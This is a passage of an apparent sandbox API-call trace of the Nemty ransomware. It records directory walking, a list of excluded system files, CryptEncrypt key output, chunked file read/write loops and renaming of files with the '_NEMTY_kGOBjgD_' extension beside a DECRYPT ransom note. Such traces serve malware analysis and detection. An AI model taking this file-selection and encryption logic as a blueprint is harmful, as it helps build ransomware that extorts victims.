lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.569] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb627330, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xb627330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb627330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0149.569] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0149.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.569] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0149.569] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0149.570] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0149.570] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0149.570] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0149.570] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0149.570] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0149.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0149.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0149.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0149.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0149.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0149.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0149.570] Sleep (dwMilliseconds=0x5) [0149.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xccc4430, dwHighDateTime=0x1d561e8)) [0149.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xccc4430, dwHighDateTime=0x1d561e8)) [0149.571] GetLastError () returned 0x12 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.572] GetLastError () returned 0x12 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0149.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0149.572] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0149.572] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="IX+fZSL7DS3kEoE/byo/P+Ln7TgdhL6rrzggSbTjSYL3pmpzlF7jAE5JXAy8dSCX\r\nN2YmpPG+c36TdiS75v1DS+Ch4tiQFGk/JN0SGpSYEnp+DLpyBFLCjZTUce0lTDNw\r\nbbpmGEgYd7Jynha6t9eiDiD3Y/0nEYVpQ+7LmzqWctmvp5LgvsYU6bWC70VbkPUn\r\nsjwaOhqDtfM5XAC3rkSFL4kdTg+NlCxiPPHZtciSpF17j2YBQSTl9kEhGTmFx8UR\r\nJyQymDzuwXu/jXzm04lvXBTv0Z20yCMnNLae/3pCMKctNxNlJ1GfToql43hgV18N\r\nNg35lcWDk0qCLxtKr79gsw==\r\n", pcchString=0x653ec5c) returned 1 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.572] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.572] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0149.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.677] CloseHandle (hObject=0xffffffff) returned 0 [0149.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0149.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0149.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0149.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0149.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0149.678] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1b30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xaca1b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xaca1b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0149.678] lstrcmpiW 